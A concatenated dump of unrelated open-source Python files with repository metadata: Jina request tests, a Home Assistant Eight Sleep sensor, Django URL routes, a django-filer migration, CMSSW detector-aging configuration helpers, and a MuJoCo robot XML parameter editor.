import sys from typing import Sequence import pytest from jina import Request, QueryLang, Document from jina.clients.request import request_generator from jina.proto import jina_pb2 from jina.proto.jina_pb2 import EnvelopeProto from jina.types.message import Message from jina.types.request import _trigger_fields from tests import random_docs @pytest.mark.parametrize('field', _trigger_fields.difference({'command', 'args', 'flush'})) def test_lazy_access(field): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # access r.train print(getattr(r, field)) # now it is read assert r.is_used def test_multiple_access(): reqs = [Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))] for r in reqs: assert not r.is_used assert r assert not r.is_used for r in reqs: assert not r.is_used assert r.index assert r.is_used def test_lazy_nest_access(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # write access r.train r.docs[0].id = '1' * 16 # now it is read assert r.is_used assert r.index.docs[0].id == '1' * 16 def test_lazy_change_message_type(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # write access r.train r.control.command = jina_pb2.RequestProto.ControlRequestProto.IDLE # now it is read assert r.is_used assert len(r.index.docs) == 0 def test_lazy_append_access(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used r.request_type = 'index' # write access r.train r.docs.append(Document()) # now it is read assert r.is_used def test_lazy_clear_access(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # write access r.train r.ClearField('index') # now it is read assert r.is_used def test_lazy_nested_clear_access(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert not r.is_used # write access r.train r.index.ClearField('docs') # now it is read assert r.is_used def test_lazy_msg_access(): reqs = [Message(None, r.SerializeToString(), 'test', '123', request_id='123', request_type='IndexRequest') for r in request_generator(random_docs(10))] for r in reqs: assert not r.request.is_used assert r.envelope assert len(r.dump()) == 3 assert not r.request.is_used for r in reqs: assert not r.request.is_used assert r.request assert len(r.dump()) == 3 assert not r.request.is_used for r in reqs: assert not r.request.is_used assert r.request.index.docs assert len(r.dump()) == 3 assert r.request.is_used def test_message_size(): reqs = [Message(None, r, 'test', '123') for r in request_generator(random_docs(10))] for r in reqs: assert r.size == 0 assert sys.getsizeof(r.envelope.SerializeToString()) assert sys.getsizeof(r.request.SerializeToString()) assert len(r.dump()) == 3 assert r.size > sys.getsizeof(r.envelope.SerializeToString()) \ + sys.getsizeof(r.request.SerializeToString()) def test_lazy_request_fields(): reqs = (Request(r.SerializeToString(), EnvelopeProto()) for r in request_generator(random_docs(10))) for r in reqs: assert list(r.DESCRIPTOR.fields_by_name.keys()) def test_request_extend_queryset(): q1 = {'name': 'SliceQL', 'parameters': {'start': 3, 'end': 4}} q2 = QueryLang({'name': 'SliceQL', 'parameters': {'start': 3, 'end': 4}, 'priority': 1}) q3 = jina_pb2.QueryLangProto() q3.name = 'SliceQL' q3.parameters['start'] = 3 q3.parameters['end'] = 4 q3.priority = 2 r = Request() r.queryset.extend([q1, q2, q3]) assert isinstance(r.queryset, Sequence) assert len(r.queryset) == 3 for idx, q in enumerate(r.queryset): assert q.priority == idx assert q.parameters['start'] == 3 assert q.parameters['end'] == 4 # q1 and q2 refer to the same assert len({id(q) for q in r.queryset}) == 2 r2 = Request() r2.queryset.extend(r.queryset) assert len({id(q) for q in r2.queryset}) == 2 r = Request() r.queryset.append(q1) r.queryset.append(q2) r.queryset.append(q3) for idx, q in enumerate(r.queryset): assert q.priority == idx assert q.parameters['start'] == 3 assert q.parameters['end'] == 4 with pytest.raises(TypeError): r.queryset.extend(1) @pytest.mark.parametrize('typ,pb_typ', [('train', jina_pb2.RequestProto.TrainRequestProto), ('index', jina_pb2.RequestProto.IndexRequestProto), ('search', jina_pb2.RequestProto.SearchRequestProto), ('control', jina_pb2.RequestProto.ControlRequestProto)]) def test_empty_request_type(typ, pb_typ): r = Request() assert r.request_type is None with pytest.raises(ValueError): print(r.body) r.request_type = typ assert r._request_type == typ assert isinstance(r.body, pb_typ) @pytest.mark.parametrize('typ,pb_typ', [('index', jina_pb2.RequestProto.IndexRequestProto), ('search', jina_pb2.RequestProto.SearchRequestProto)]) def test_add_doc_to_type(typ, pb_typ): r = Request() r.request_type = typ for _ in range(10): r.docs.append(Document()) r.groundtruths.append(Document()) assert len(r.docs) == 10 assert len(r.groundtruths) == 10

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null

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868a5177cfe7a43dcc855371fdd275a394644658

2,074

py

Python

homeassistant/components/eight_sleep/binary_sensor.py

liangleslie/core

cc807b4d597daaaadc92df4a93c6e30da4f570c6

[ "Apache-2.0" ]

2

2020-01-03T17:06:33.000Z

2020-01-13T18:57:32.000Z

homeassistant/components/eight_sleep/binary_sensor.py

liangleslie/core

cc807b4d597daaaadc92df4a93c6e30da4f570c6

[ "Apache-2.0" ]

1,016

2019-06-18T21:27:47.000Z

2020-03-06T11:09:58.000Z

homeassistant/components/eight_sleep/binary_sensor.py

liangleslie/core

cc807b4d597daaaadc92df4a93c6e30da4f570c6

[ "Apache-2.0" ]

null

"""Support for Eight Sleep binary sensors.""" from __future__ import annotations import logging from pyeight.eight import EightSleep from homeassistant.components.binary_sensor import ( BinarySensorDeviceClass, BinarySensorEntity, ) from homeassistant.core import HomeAssistant from homeassistant.helpers.entity_platform import AddEntitiesCallback from homeassistant.helpers.typing import ConfigType, DiscoveryInfoType from homeassistant.helpers.update_coordinator import DataUpdateCoordinator from . import EightSleepBaseEntity from .const import DATA_API, DATA_HEAT, DOMAIN _LOGGER = logging.getLogger(__name__) async def async_setup_platform( hass: HomeAssistant, config: ConfigType, async_add_entities: AddEntitiesCallback, discovery_info: DiscoveryInfoType | None = None, ) -> None: """Set up the eight sleep binary sensor.""" if discovery_info is None: return eight: EightSleep = hass.data[DOMAIN][DATA_API] heat_coordinator: DataUpdateCoordinator = hass.data[DOMAIN][DATA_HEAT] entities = [] for user in eight.users.values(): entities.append( EightHeatSensor(heat_coordinator, eight, user.userid, "bed_presence") ) async_add_entities(entities) class EightHeatSensor(EightSleepBaseEntity, BinarySensorEntity): """Representation of a Eight Sleep heat-based sensor.""" _attr_device_class = BinarySensorDeviceClass.OCCUPANCY def __init__( self, coordinator: DataUpdateCoordinator, eight: EightSleep, user_id: str | None, sensor: str, ) -> None: """Initialize the sensor.""" super().__init__(coordinator, eight, user_id, sensor) assert self._user_obj _LOGGER.debug( "Presence Sensor: %s, Side: %s, User: %s", sensor, self._user_obj.side, user_id, ) @property def is_on(self) -> bool: """Return true if the binary sensor is on.""" assert self._user_obj return bool(self._user_obj.bed_presence)

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null

0

null

0

1

0

868d3680b0c2bd4371570ee9b629404359f69eee

1,220

py

Python

apps/organization/urls.py

stormsha/StormOnline

10983b7a9ee09958927731ee3fd74178d7534ff6

[ "Apache-2.0" ]

18

2018-03-16T07:11:01.000Z

2021-11-18T08:42:11.000Z

apps/organization/urls.py

stormsha/StormOnline

10983b7a9ee09958927731ee3fd74178d7534ff6

[ "Apache-2.0" ]

1

2018-03-15T11:40:25.000Z

apps/organization/urls.py

stormsha/StormOnline

10983b7a9ee09958927731ee3fd74178d7534ff6

[ "Apache-2.0" ]

13

2018-03-16T07:11:05.000Z

2020-06-23T09:27:49.000Z

# _*_ coding: utf-8 _*_ # --------------------------- __author__ = 'StormSha' __date__ = '2018/3/28 18:01' # --------------------------- # -------------------------django---------------------- from django.conf.urls import url from .views import OrgView, AddUserAskView, OrgHomeView, OrgCourseView, OrgDescView, OrgTeacherView, AddFavView from .views import TeacherListView, TeacherDetailView urlpatterns = [ url(r'^list/$', OrgView.as_view(), name="org_list"), url(r'^add_ask/$', AddUserAskView.as_view(), name="add_ask"), url(r'^home/(?P<org_id>\d+)/$', OrgHomeView.as_view(), name="org_home"), url(r'^course/(?P<org_id>\d+)/$', OrgCourseView.as_view(), name="org_course"), url(r'^desc/(?P<org_id>\d+)/$', OrgDescView.as_view(), name="org_desc"), url(r'^org_teacher/(?P<org_id>\d+)/$', OrgTeacherView.as_view(), name="org_teacher"), # --------------机构收藏------------------------- url(r'^add_fav/$', AddFavView.as_view(), name="add_fav"), # -----------------------teacher------------------------------ url(r'^teacher/list/$', TeacherListView.as_view(), name="teacher_list"), url(r'^teacher/detail/(?P<teacher_id>\d+)/$', TeacherDetailView.as_view(), name="teacher_detail") ]

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null

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null

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868dd694341f559c01703d972c3b261cb6620ffe

571

py

Python

tech_project/lib/python2.7/site-packages/filer/migrations/0010_auto_20180414_2058.py

priyamshah112/Project-Descripton-Blog

8e01016c6be79776c4f5ca75563fa3daa839e39e

[ "MIT" ]

null

tech_project/lib/python2.7/site-packages/filer/migrations/0010_auto_20180414_2058.py

priyamshah112/Project-Descripton-Blog

8e01016c6be79776c4f5ca75563fa3daa839e39e

[ "MIT" ]

11

2019-11-02T20:57:52.000Z

2020-09-27T09:08:33.000Z

tech_project/lib/python2.7/site-packages/filer/migrations/0010_auto_20180414_2058.py

priyamshah112/Project-Descripton-Blog

8e01016c6be79776c4f5ca75563fa3daa839e39e

[ "MIT" ]

4

2018-08-07T17:13:48.000Z

2019-06-13T11:09:32.000Z

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('filer', '0009_auto_20171220_1635'), ] operations = [ migrations.AlterField( model_name='image', name='file_ptr', field=models.OneToOneField(primary_key=True, serialize=False, related_name='filer_image_file', parent_link=True, to='filer.File', on_delete=django.db.models.deletion.CASCADE), ), ]

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null

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null

0

1

0

868dd7b75196bf80f589754ce91dc36872de638a

12,166

py

Python

SLHCUpgradeSimulations/Configuration/python/aging.py

ckamtsikis/cmssw

ea19fe642bb7537cbf58451dcf73aa5fd1b66250

[ "Apache-2.0" ]

852

2015-01-11T21:03:51.000Z

2022-03-25T21:14:00.000Z

SLHCUpgradeSimulations/Configuration/python/aging.py

ckamtsikis/cmssw

ea19fe642bb7537cbf58451dcf73aa5fd1b66250

[ "Apache-2.0" ]

30,371

2015-01-02T00:14:40.000Z

2022-03-31T23:26:05.000Z

SLHCUpgradeSimulations/Configuration/python/aging.py

ckamtsikis/cmssw

ea19fe642bb7537cbf58451dcf73aa5fd1b66250

[ "Apache-2.0" ]

3,240

2015-01-02T05:53:18.000Z

2022-03-31T17:24:21.000Z

import FWCore.ParameterSet.Config as cms # handle normal mixing or premixing def getHcalDigitizer(process): if hasattr(process,'mixData'): return process.mixData if hasattr(process,'mix') and hasattr(process.mix,'digitizers') and hasattr(process.mix.digitizers,'hcal'): return process.mix.digitizers.hcal return None def getHGCalDigitizer(process,section): if hasattr(process,'mix') and hasattr(process.mix,'digitizers'): if section == 'EE' and hasattr(process.mix.digitizers,'hgceeDigitizer'): return process.mix.digitizers.hgceeDigitizer elif section == 'FH' and hasattr(process.mix.digitizers,'hgchefrontDigitizer'): return process.mix.digitizers.hgchefrontDigitizer elif section == 'BH' and hasattr(process.mix.digitizers,'hgchebackDigitizer'): return process.mix.digitizers.hgchebackDigitizer elif section == 'HFNose' and hasattr(process.mix.digitizers,'hfnoseDigitizer'): return process.mix.digitizers.hfnoseDigitizer return None # change assumptions about lumi rate def setScenarioHLLHC(module,scenarioHLLHC): if scenarioHLLHC=="nominal": from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import _years_LHC, _years_HLLHC_nominal module.years = _years_LHC + _years_HLLHC_nominal elif scenarioHLLHC=="ultimate": from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import _years_LHC, _years_HLLHC_ultimate module.years = _years_LHC + _years_HLLHC_ultimate return module # turnon = True enables default, False disables # recalibration and darkening always together def ageHB(process,turnon,scenarioHLLHC): if turnon: from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import HBDarkeningEP process.HBDarkeningEP = HBDarkeningEP process.HBDarkeningEP = setScenarioHLLHC(process.HBDarkeningEP,scenarioHLLHC) hcaldigi = getHcalDigitizer(process) if hcaldigi is not None: hcaldigi.HBDarkening = cms.bool(turnon) if hasattr(process,'es_hardcode'): process.es_hardcode.HBRecalibration = cms.bool(turnon) return process def ageHE(process,turnon,scenarioHLLHC): if turnon: from CalibCalorimetry.HcalPlugins.HBHEDarkening_cff import HEDarkeningEP process.HEDarkeningEP = HEDarkeningEP process.HEDarkeningEP = setScenarioHLLHC(process.HEDarkeningEP,scenarioHLLHC) hcaldigi = getHcalDigitizer(process) if hcaldigi is not None: hcaldigi.HEDarkening = cms.bool(turnon) if hasattr(process,'es_hardcode'): process.es_hardcode.HERecalibration = cms.bool(turnon) return process def ageHF(process,turnon): hcaldigi = getHcalDigitizer(process) if hcaldigi is not None: hcaldigi.HFDarkening = cms.bool(turnon) if hasattr(process,'es_hardcode'): process.es_hardcode.HFRecalibration = cms.bool(turnon) return process def agedHFNose(process,algo=0): from SimCalorimetry.HGCalSimProducers.hgcalDigitizer_cfi import HFNose_setEndOfLifeNoise process = HFNose_setEndOfLifeNoise(process,byDose=True,byDoseAlgo=algo) return process def agedHGCal(process,algo=0): from SimCalorimetry.HGCalSimProducers.hgcalDigitizer_cfi import HGCal_setEndOfLifeNoise process = HGCal_setEndOfLifeNoise(process,byDose=True,byDoseAlgo=algo) return process def realisticHGCalStartup(process): from SimCalorimetry.HGCalSimProducers.hgcalDigitizer_cfi import HGCal_setRealisticStartupNoise process = HGCal_setRealisticStartupNoise(process) return process # needs lumi to set proper ZS thresholds (tbd) def ageSiPM(process,turnon,lumi): process.es_hardcode.hbUpgrade.doRadiationDamage = turnon process.es_hardcode.heUpgrade.doRadiationDamage = turnon # todo: determine ZS threshold adjustments # adjust PF thresholds for increased noise # based on: https://baylor.box.com/s/w32ja75krcbxcycyifexu28dwlgrj7wg hcal_lumis = [300, 1000, 3000, 4500, 1e10] hcal_thresholds = { 300: { "seed": [0.5, 0.625, 0.75, 0.75], "rec": [0.4, 0.5, 0.6, 0.6], }, 1000: { "seed": [1.0, 1.5, 1.5, 1.5], "rec": [0.8, 1.2, 1.2, 1.2], }, 3000: { "seed": [1.25, 2.5, 2.5, 2.5], "rec": [1.0, 2.0, 2.0, 2.0], }, 4500: { "seed": [1.5, 3.0, 3.0, 3.0], "rec": [1.25, 2.5, 2.5, 2.5], }, } ctmodules = ['calotowermaker','caloTowerForTrk','caloTowerForTrkPreSplitting','towerMaker','towerMakerWithHO'] for ilumi, hcal_lumi in enumerate(hcal_lumis[:-1]): if lumi >= hcal_lumi and lumi < hcal_lumis[ilumi+1]: if hasattr(process,'particleFlowClusterHBHE'): process.particleFlowClusterHBHE.seedFinder.thresholdsByDetector[0].seedingThreshold = hcal_thresholds[hcal_lumi]["seed"] process.particleFlowClusterHBHE.initialClusteringStep.thresholdsByDetector[0].gatheringThreshold = hcal_thresholds[hcal_lumi]["rec"] process.particleFlowClusterHBHE.pfClusterBuilder.recHitEnergyNorms[0].recHitEnergyNorm = hcal_thresholds[hcal_lumi]["rec"] process.particleFlowClusterHBHE.pfClusterBuilder.positionCalc.logWeightDenominatorByDetector[0].logWeightDenominator = hcal_thresholds[hcal_lumi]["rec"] process.particleFlowClusterHBHE.pfClusterBuilder.allCellsPositionCalc.logWeightDenominatorByDetector[0].logWeightDenominator = hcal_thresholds[hcal_lumi]["rec"] if hasattr(process,'particleFlowClusterHCAL'): process.particleFlowClusterHCAL.pfClusterBuilder.allCellsPositionCalc.logWeightDenominatorByDetector[0].logWeightDenominator = hcal_thresholds[hcal_lumi]["rec"] if hasattr(process,'particleFlowRecHitHBHE'): process.particleFlowRecHitHBHE.producers[0].qualityTests[0].cuts[0].threshold = hcal_thresholds[hcal_lumi]["rec"] for ctmod in ctmodules: if hasattr(process,ctmod): getattr(process,ctmod).HBThreshold1 = hcal_thresholds[hcal_lumi]["rec"][0] getattr(process,ctmod).HBThreshold2 = hcal_thresholds[hcal_lumi]["rec"][1] getattr(process,ctmod).HBThreshold = hcal_thresholds[hcal_lumi]["rec"][-1] break return process def ageHcal(process,lumi,instLumi,scenarioHLLHC): hcaldigi = getHcalDigitizer(process) if hcaldigi is not None: hcaldigi.DelivLuminosity = cms.double(float(lumi)) # integrated lumi in fb-1 # these lines need to be further activated by turning on 'complete' aging for HF if hasattr(process,'g4SimHits'): process.g4SimHits.HCalSD.InstLuminosity = cms.double(float(instLumi)) process.g4SimHits.HCalSD.DelivLuminosity = cms.double(float(lumi)) # recalibration and darkening always together if hasattr(process,'es_hardcode'): process.es_hardcode.iLumi = cms.double(float(lumi)) # functions to enable individual subdet aging process = ageHB(process,True,scenarioHLLHC) process = ageHE(process,True,scenarioHLLHC) process = ageHF(process,True) process = ageSiPM(process,True,lumi) return process def turn_on_HB_aging(process): process = ageHB(process,True,"") return process def turn_off_HB_aging(process): process = ageHB(process,False,"") return process def turn_on_HE_aging(process): process = ageHE(process,True,"") return process def turn_off_HE_aging(process): process = ageHE(process,False,"") return process def turn_on_HF_aging(process): process = ageHF(process,True) return process def turn_off_HF_aging(process): process = ageHF(process,False) return process def turn_off_SiPM_aging(process): process = ageSiPM(process,False,0.0) return process def hf_complete_aging(process): if hasattr(process,'g4SimHits'): process.g4SimHits.HCalSD.HFDarkening = cms.untracked.bool(True) hcaldigi = getHcalDigitizer(process) if hcaldigi is not None: hcaldigi.HFDarkening = cms.untracked.bool(False) return process def ageEcal(process,lumi,instLumi): if hasattr(process,'g4SimHits'): #these lines need to be further activiated by tuning on 'complete' aging for ecal process.g4SimHits.ECalSD.InstLuminosity = cms.double(instLumi) process.g4SimHits.ECalSD.DelivLuminosity = cms.double(float(lumi)) # available conditions ecal_lumis = [300,1000,3000,4500] ecal_conditions = [ ['EcalIntercalibConstantsRcd','EcalIntercalibConstants_TL{:d}_upgrade_8deg_v2_mc'], ['EcalIntercalibConstantsMCRcd','EcalIntercalibConstantsMC_TL{:d}_upgrade_8deg_v2_mc'], ['EcalLaserAPDPNRatiosRcd','EcalLaserAPDPNRatios_TL{:d}_upgrade_8deg_mc'], ['EcalPedestalsRcd','EcalPedestals_TL{:d}_upgradeTIA_8deg_mc'], ['EcalTPGLinearizationConstRcd','EcalTPGLinearizationConst_TL{:d}_upgrade_8deg_mc'], ] # update PF thresholds, based on https://indico.cern.ch/event/653123/contributions/2659235/attachments/1491385/2318364/170711_upsg_ledovskoy.pdf ecal_thresholds = { 300 : 0.103, 1000 : 0.175, 3000 : 0.435, 4500 : 0.707, } ecal_seed_multiplier = 2.5 # try to get conditions if int(lumi) in ecal_lumis: if not hasattr(process.GlobalTag,'toGet'): process.GlobalTag.toGet=cms.VPSet() for ecal_condition in ecal_conditions: process.GlobalTag.toGet.append(cms.PSet( record = cms.string(ecal_condition[0]), tag = cms.string(ecal_condition[1].format(int(lumi))), connect = cms.string("frontier://FrontierProd/CMS_CONDITIONS") ) ) if hasattr(process,"particleFlowClusterECALUncorrected"): _seeds = process.particleFlowClusterECALUncorrected.seedFinder.thresholdsByDetector for iseed in range(0,len(_seeds)): if _seeds[iseed].detector.value()=="ECAL_BARREL": _seeds[iseed].seedingThreshold = cms.double(ecal_thresholds[int(lumi)]*ecal_seed_multiplier) _clusters = process.particleFlowClusterECALUncorrected.initialClusteringStep.thresholdsByDetector for icluster in range(0,len(_clusters)): if _clusters[icluster].detector.value()=="ECAL_BARREL": _clusters[icluster].gatheringThreshold = cms.double(ecal_thresholds[int(lumi)]) return process def ecal_complete_aging(process): if hasattr(process,'g4SimHits'): process.g4SimHits.ECalSD.AgeingWithSlopeLY = cms.untracked.bool(True) if hasattr(process,'ecal_digi_parameters'): process.ecal_digi_parameters.UseLCcorrection = cms.untracked.bool(False) return process def customise_aging_300(process): process=ageHcal(process,300,5.0e34,"nominal") process=ageEcal(process,300,5.0e34) return process def customise_aging_1000(process): process=ageHcal(process,1000,5.0e34,"nominal") process=turn_off_HE_aging(process) #avoid conflict between HGCal and Hcal in phase2 geom configuration process=ageEcal(process,1000,5.0e34) return process def customise_aging_3000(process): process=ageHcal(process,3000,5.0e34,"nominal") process=turn_off_HE_aging(process) #avoid conflict between HGCal and Hcal in phase2 geom configuration process=ageEcal(process,3000,5.0e34) process=agedHGCal(process) process=agedHFNose(process) return process def customise_aging_3000_ultimate(process): process=ageHcal(process,3000,7.5e34,"ultimate") process=turn_off_HE_aging(process) #avoid conflict between HGCal and Hcal in phase2 geom configuration process=ageEcal(process,3000,7.5e34) process=agedHGCal(process) process=agedHFNose(process) return process def customise_aging_4500_ultimate(process): process=ageHcal(process,4500,7.5e34,"ultimate") process=turn_off_HE_aging(process) #avoid conflict between HGCal and Hcal in phase2 geom configuration process=ageEcal(process,4500,7.5e34) process=agedHGCal(process) process=agedHFNose(process) return process

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0

null

0

null

0

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868de8e68215f41c7a22fbffe3549ae81cd16557

10,106

py

Python

xml_parser.py

cbschaff/nlimb

f0564b00bab1b3367aaa88163e49bebc88f349bb

[ "MIT" ]

12

2018-10-26T19:33:05.000Z

2022-01-17T11:47:59.000Z

xml_parser.py

cbschaff/nlimb

f0564b00bab1b3367aaa88163e49bebc88f349bb

[ "MIT" ]

9

2020-01-28T22:30:55.000Z

2022-03-11T23:32:04.000Z

xml_parser.py

cbschaff/nlimb

f0564b00bab1b3367aaa88163e49bebc88f349bb

[ "MIT" ]

3

2019-07-09T14:56:01.000Z

2019-11-18T06:58:41.000Z

import numpy as np import xml.etree.ElementTree as ET class Geom(object): def __init__(self, geom): self.xml = geom self.params = [] def get_params(self): return self.params.copy() def set_params(self, new_params): self.params = new_params def update_point(self, p, new_params): pass def update_xml(self): pass def update(self, new_params): self.set_params(new_params) self.update_xml() def get_smallest_z(self): pass def get_param_limits(self): pass def get_param_names(self): pass def get_volume(self): pass class Sphere(Geom): min_radius = .05 max_radius = .4 def __init__(self, geom): self.xml = geom self.params = [float(self.xml.get('size'))] # radius self.center = np.array([float(x) for x in self.xml.get('pos').split()]) def update_point(self, p, new_params): return ((p - self.center) * new_params[0] / self.params[0]) + self.center def update_xml(self): self.xml.set('size', str(self.params[0])) def get_smallest_z(self): return self.center[2] - self.params[0] def get_param_limits(self): return [[self.min_radius], [self.max_radius]] def get_param_names(self): return ['radius'] def get_volume(self): return 4./3. * np.pi * self.params[0] ** 3 class Capsule(Geom): min_length = 0.175 max_length = 0.8 min_radius = 0.035 max_radius = 0.085 def __init__(self, geom): self.xml = geom fromto = [float(x) for x in self.xml.get('fromto').split()] self.p1 = np.array(fromto[:3]) self.p2 = np.array(fromto[3:]) length = np.sqrt(np.sum((self.p2 - self.p1) ** 2)) radius = float(self.xml.get('size')) self.params = [length, radius] self.axis = (self.p2 - self.p1) / length def update_point(self, p, new_params): lfac = p.dot(self.axis) * self.axis rfac = p - lfac return p + lfac * (-1.0 + new_params[0] / self.params[0])# + rfac * (new_params[1] / self.params[1]) def update_xml(self): self.xml.set('fromto', ' '.join([str(x) for x in np.concatenate([self.p1, self.p2])])) self.xml.set('size', str(self.params[1])) # radius def set_params(self, new_params): p1 = self.update_point(self.p1, new_params) p2 = self.update_point(self.p2, new_params) # update only after computing p1, p2 self.p1 = p1 self.p2 = p2 super().set_params(new_params) def get_smallest_z(self): return min(self.p1[2], self.p2[2]) - self.params[1] def get_param_limits(self): return [[self.min_length, self.min_radius], [self.max_length, self.max_radius]] def get_param_names(self): return ['length','radius'] def get_volume(self): return 4./3. * np.pi * self.params[1]**3 + self.params[0] * np.pi * self.params[1]**2 class Body: geoms = {'sphere': Sphere, 'capsule': Capsule} # dictionary of legal geometry types def __init__(self, body, worldbody=False): self.xml = body self.worldbody = worldbody geom_xml = body.find('geom') # assume only one geometry per body self.geom = self.geoms[geom_xml.get('type')](geom_xml) self.joints = [j for j in body.findall('joint') if 'ignore' not in j.get('name')] self.parts = [Body(b) for b in body.findall('body')] pos = [b.get('pos') for b in body.findall('body')] self.part_positions = [np.array([float(x) for x in p.split()]) for p in pos] pos = [j.get('pos') for j in self.joints] self.joint_positions = [np.array([float(x) for x in p.split()]) for p in pos] self.n = len(self.geom.get_params()) self.n_all_params = len(self.get_params()) self.zmin = float(self.xml.get("pos").split()[2]) - self.get_height() def get_height(self): max_height = -self.geom.get_smallest_z() for body, pos in zip(self.parts, self.part_positions): max_height = max(max_height, body.get_height() - pos[2]) return max_height def update_initial_position(self): pos = self.xml.get("pos").split() pos[2] = str(self.get_height() + self.zmin) self.xml.set("pos", ' '.join(pos)) def update_xml(self): for body, pos in zip(self.parts, self.part_positions): body.xml.set('pos', ' '.join([str(x) for x in pos])) for joint, pos in zip(self.joints, self.joint_positions): joint.set('pos', ' '.join([str(x) for x in pos])) def set_body_positions(self, new_params): for i, pos in enumerate(self.part_positions): self.part_positions[i] = self.geom.update_point(pos, new_params) for i, pos in enumerate(self.joint_positions): self.joint_positions[i] = self.geom.update_point(pos, new_params) def update(self, new_params): self.set_body_positions(new_params) self.geom.update(new_params) self.update_xml() def get_params(self): params = self.geom.get_params() for body in self.parts: params += body.get_params() return params def get_param_limits(self): limits = self.geom.get_param_limits() for body in self.parts: body_limits = body.get_param_limits() limits[0] += body_limits[0] limits[1] += body_limits[1] return limits def get_param_names(self): name = self.xml.get('name') param_names = [name + '-' + p for p in self.geom.get_param_names()] for body in self.parts: param_names += body.get_param_names() return param_names def update_params(self, new_params): if self.worldbody: assert len(new_params) == self.n_all_params, "Wrong number of parameters" self.update(new_params[:self.n]) remaining_params = new_params[self.n:] for body in self.parts: remaining_params = body.update_params(remaining_params) if self.worldbody: self.update_initial_position() else: return remaining_params def get_body_names(self): names = [self.xml.get('name')] for body in self.parts: names += body.get_names() return names def get_joints(self): joints = {} for body,pos in zip(self.parts, self.part_positions): for j in body.joints: joints[j.get('name')] = (self.xml.get('name'), body.xml.get('name'), self.geom, body.geom, pos) joints.update(body.get_joints()) return joints def get_volumes(self): volumes = {} if len(self.joints) > 0: for j in self.joints: v1 = self.geom.get_volume() v2 = sum([b.geom.get_volume() for b in self.parts]) volumes[j.get('name')] = np.array((v1, v2)) for body in self.parts: volumes.update(body.get_volumes()) return volumes class MuJoCoXmlRobot: def __init__(self, model_xml): self.model_xml = model_xml self.tree = ET.parse(self.model_xml) worldbody = self.tree.getroot().find('worldbody') self.body = Body(worldbody.find('body'), worldbody=True) def get_params(self): return self.body.get_params() def get_param_limits(self): return self.body.get_param_limits() def get_param_names(self): return self.body.get_param_names() def get_height(self): return self.body.get_height() def get_joints(self): return self.body.get_joints() def get_volumes(self): return self.body.get_volumes() def update(self, params, xml_file=None): if xml_file is None: xml_file = self.model_xml self.body.update_params(list(params)) self.tree.write(xml_file) if __name__ == '__main__': robot = MuJoCoXmlRobot('mujoco_assets/hopper.xml') params = list(1.0 * np.array(robot.get_params())) robot.update(params, 'mujoco_assets/hopper_test.xml') assert robot.get_params() == params #assert robot.get_height() == 1.31 print(robot.get_param_limits()) print(robot.get_param_names()) robot = MuJoCoXmlRobot('mujoco_assets/walker2d.xml') params = [.4,.04,.5,.05,.55,.055,.6,.06,.5,.05,.55,.055,.6,.06] robot.update(params, 'mujoco_assets/walker2d_test.xml') assert robot.get_params() == params assert robot.get_height() == 1.31 print(robot.get_param_limits()) print(robot.get_param_names()) robot = MuJoCoXmlRobot('mujoco_assets/ant.xml') params = [.2, .2,.06,.2,.06,.4,.06, .2,.06,.2,.06,.4,.06, .2,.06,.2,.06,.4,.06, .2,.06,.2,.06,.4,.06] robot.update(params, 'mujoco_assets/ant_test.xml') assert robot.get_params() == params assert robot.get_height() == .2 print(robot.get_param_limits()) print(robot.get_param_names()) robot = MuJoCoXmlRobot('mujoco_assets/humanoid.xml') params = list(.8 * np.array(robot.get_params())) robot.update(params, 'mujoco_assets/humanoid_test.xml') assert robot.get_params() == params print(robot.get_height()) #assert robot.get_height() == .6085 print(robot.get_param_limits()) print(robot.get_param_names()) import gym, roboschool env = gym.make("RoboschoolHopper-v1") env.unwrapped.model_xml = 'mujoco_assets/hopper_test.xml' env.reset() #env.render() import os from scipy.misc import imsave import subprocess as sp outdir = 'xml_vid' os.makedirs(outdir, exist_ok=True) i = 0 for _ in range(10): env.reset() for _ in range(100): env.step(env.action_space.sample()) rgb = env.render('rgb_array') imsave(os.path.join(outdir, '{:05d}.png'.format(i)), rgb) i+=1 sp.call(['ffmpeg', '-r', '60', '-f', 'image2', '-i', os.path.join(outdir, '%05d.png'), '-vcodec', 'libx264', '-pix_fmt', 'yuv420p', os.path.join(outdir, 'out.mp4')]) env.close()

33.574751

169

0.608351

1,449

10,106

4.069703

0.132505

0.026454

0.028489

0.024419

0.474818

0.374089

0.290487

0.224182

0.196201

0.149059

0

0.023403

0.247378

10,106

300

170

33.686667

0.751906

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0

0.306723

0

0.054981

0.02465

0

0.029412

1

0.193277

false

0.02521

0.067227

0.37395

0.037815

0

null

0

null

0

1

0

868f0e1cedcadcbc2d277dd9469765ca291fed6d

689

py

Python

meiduo_mall/celery_tasks/sms/tasks.py

Vent-Any/meiduo_mall_cangku

5b3b7f029be267cb5d2d3666f99be166d27213f1

[ "MIT" ]

null

meiduo_mall/celery_tasks/sms/tasks.py

Vent-Any/meiduo_mall_cangku

5b3b7f029be267cb5d2d3666f99be166d27213f1

[ "MIT" ]

null

meiduo_mall/celery_tasks/sms/tasks.py

Vent-Any/meiduo_mall_cangku

5b3b7f029be267cb5d2d3666f99be166d27213f1

[ "MIT" ]

null

